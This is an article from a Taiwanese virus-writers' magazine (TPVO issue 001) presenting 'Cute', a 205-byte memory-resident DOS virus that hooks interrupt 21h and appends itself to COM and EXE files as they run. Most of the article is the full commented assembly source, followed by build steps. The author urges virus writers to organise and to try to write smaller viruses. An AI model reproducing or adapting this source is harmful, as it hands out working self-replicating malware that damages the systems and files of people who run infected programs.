
               ☆ ＴＰＶＯ病毒雜誌  第００１期  TPVO-001.004 ☆

                         ◎最小的檔案型病毒-Cute◎
                          by Dark Slayer of TPVO

        ================================================================

            很高興的是，臺灣的第一本病毒雜誌終於出來了，這是本雜誌的第一
        期，這多部份還沒啥經驗，所以若有任何建意或是不妥的地方，歡迎告知
        我們，以求改進，同時也希望臺灣的病毒作者能夠團結起來、組織起來，
        互相討論研究心得，才能穫得更多的技術，更大的改進。

            由於這還是第一期，我們就從最簡單的開始... 在這篇文章中我提供
        一隻全世界最小的毒(我很屁吧？)，此毒我取名為 Cute ，因為我覺得它
        小的可愛，常駐在記憶體，會感染COM/EXE 檔，非覆寫病毒，被感染過的
        檔案還能維持原功能，正常的執行，且不重複感染，此毒感染檔案長度增
        加205Bytes，希望有人能以上面所講的為條件，寫出比我這隻更小的毒，
        雖然那是不太可能的... 呵... 比起 VLAD #3 (全名為Virus Laboratories
        And Distribution，為國外的病毒雜誌) 中，TALON 所寫的 Small Virus
        (263 Bytes) 小了 58Bytes，但功能一樣，TALON 宣稱他那隻毒是最小的
        毒？不過我有作弊，因為我用了286 指令的 pusha，且開檔之後沒有作錯
        誤處理 (jc error) ，但是我有試過，跟他一樣一個個 push register，
        且加上 jc error ，也才 219Bytes ，還是很小的。

            Cute在感染EXE 檔時，並不修改EXE 檔頭的堆疊值，那是因為我這隻
        毒夠小，所以不用擔心被堆疊覆蓋到，若是比較大隻的毒就一定要乖乖的
        設堆疊，否則就有可能... 當...

            這是一隻很小的毒，但是卻包括了COM/EXE 檔的感染方法，很適合作
        為初學者的學習材料，Cute吧？！

        編譯方法:
          tasm /m cute.asm
          tlink cute.obj
          exe2bin cute.exe cute.com

        PS: exe2bin 在 DOS 5.0之後就不提供了，若你的系統是 DOS 5.0以上請
            找 DOS 5.0磁片，覺得只能在 DOS 5.0下使用 EXE2BIN很不方便嗎?
            請自已用pctools 尋找 B4 30 CD 21，找到後跳過 3 個 bytes ，然
            後改為 90 90，就像 -> B4 30 CD 21 XX XX XX 90 90，改完後就可
            以在任何版本下使用囉



============================ Begin Cute.asm ==================================

vir_size equ    offset vir_end-offset start
mem_size equ    offset mem_end-offset start

vir_addr equ    580h

vir_mark equ    0e9h

        .286
        .model  tiny
        .code
        org     0
start:
        push    es
        mov     di,vir_addr+2
        xor     ax,ax
        mov     es,ax                   ; 0:vir_addr 為 cute 藏身之處
        call    delta
delta:
        pop     si                      ; 取得自身的偏移
        sub     si,offset delta-2
        push    cs
        pop     ds
        std
        cmpsw                           ; 比較 0:vir_addr 之處是否已經有常駐
        cld
        mov     cx,mem_size
        rep     movsb                   ; 將 cute 搬移到 0:vir_addr
        je      run_host                ; 如果 0:vir_addr 早就有 copy 一份 cute
                                        ; 則 jmp，否則修改中斷
        mov     bx,vir_addr/10h         ; bx=常駐時的 segment
        mov     al,offset int21         ; ax=指向 cute 的 int 21h
        xchg    ax,es:[bx+21h*4-vir_addr/10h]   ; 改中斷偏移 ip
        stosw                                   ; 保存原中斷
        xchg    bx,es:[bx+21h*4-vir_addr/10h+2] ; 改中斷區段 cs
        xchg    bx,ax
        stosw                           ; 保存原中斷
run_host:
        pop     es                      ; 恢復 es (=psp)
        lodsw                           ; si=si+2
        lodsw                           ; si=si+2
        cmp     sp,0fffch
        jb      exe_host                ; sp<0fffch? 如果是則 jmp (表示原來被
                                        ; 感染的檔案為 exe，否則為 com)
com_host:
        mov     di,100h
        push    di
        movsw                           ; 恢復原檔案前 4 bytes
        movsw                           ;
        ret                             ; return 至被我們感染的 com file
exe_host:
        lodsw                           ; 取原 exe 檔頭的 cs 增量,
        xchg    di,ax                   ;   放到 di
        mov     bx,es                   ; bx=es=psp segment
        lea     ax,[bx+di+10h]          ; ax=原檔頭的 cs 增量+psp segment+10h
        push    ax
        lodsw                           ; 取原 exe 檔頭的 ip 值
        push    ax
        mov     ds,bx                   ; ds=bx=psp segment
        retf                            ; far return 至被我們感染的 exe file

int21:
        cmp     ax,4b00h                ; 4b00 (執行檔案)?
        jne     i21_exit                ;   不是則 jmp (不感染)
        pusha
        push    ds es
        mov     ax,3d02h
        int     21h                     ; 以讀/寫模式開檔
        xchg    bx,ax                   ; bx=file handle
        push    cs cs
        pop     ds es                   ; ds=es=cs
        mov     ah,3fh
        mov     cx,18h
        mov     dx,offset vir_end
        int     21h                     ; 讀取檔案開頭 18h bytes 至 vir_end
        mov     si,dx
        mov     di,offset host_4_bytes
        mov     ax,4202h
        xor     cx,cx
        cwd
        int     21h                     ; 將讀/寫指標移至檔尾 (取得檔案長度)
                                        ;   dx:ax=檔案長度
        mov     cl,vir_mark
        cmp     byte ptr ds:[si],'M'    ; exe file?
        je      infect_exe              ;   如果是則 jmp to infect_exe
infect_com:
        movsw                           ; 保存原 com 檔前面 4 bytes
        movsw                           ;   至 host_4_bytes
        xchg    cx,ax                   ; cl=vir mark=0e9h，同時亦是 jmp code
                                        ; ax=檔長，xchg 至 cx
        stosb
        xchg    cx,ax                   ; xchg 取回檔案長度
        sub     ax,3                    ; 算出 jmp 所需的偏移值
        stosw
        jmp     infect_common
infect_exe:
        cmp     word ptr ds:[di+4+2],200h-vir_size      ; offset 2=exe mod
        cmc                             ; 如果 exe mod<200h-vir_size，則 cmc
                                        ;   之後，cf=0，否則 cf=1
        adc     word ptr ds:[di+4+4],0  ; exe sector=exe sector+cf
        mov     si,10h
        div     si                      ; dx:ax/10h -> dx=餘數 (感染後的 ip 值)
                                        ;              ax=商數 (檔長/10h 的商)
        sub     ax,ds:[di+4+8]          ; offset 8=檔頭的長度 (以 para 為單位),
                                        ;   ax=ax-檔頭的長度=感染後的 cs 增量
        xchg    dx,ds:[di+4+14h]        ; offset 14h=exe ip
        xchg    ax,ds:[di+4+16h]        ; offset 16h=distance of exe cs
        stosw                           ; 保存原 exe cs 增量
        xchg    dx,ax
        stosw                           ; 保存原 exe ip
        add     di,12h                  ; offset 12h=check sum (查核字元)
                                        ;   此處存放 mark (0e9h)
infect_common:
        cmp     ds:[di],cl              ; 比較是否有 mark
        je      close                   ;   如過是則 jmp to close，關檔不再感染
        mov     ds:[di],cl              ; 設 mark
        mov     ah,40h
        mov     cl,vir_size
        cwd
        int     21h                     ; 將 cute 寫至檔尾
        mov     ax,4200h
        xor     cx,cx
        int     21h                     ; 移讀寫指標至檔頭
        mov     ah,40h
        mov     cl,18h
        mov     dl,offset vir_end
        int     21h                     ; 寫入 (修改) 檔頭
close:
        mov     ah,3eh
        int     21h                     ; 關檔
        pop     es ds
        popa
i21_exit:
        db      0eah            ; jmp far segment:offset 至原 int 21h 中斷
mem_end:
old21   dw      ?,?

host_4_bytes db 0cdh,20h,0,0
vir_end:
        end     start

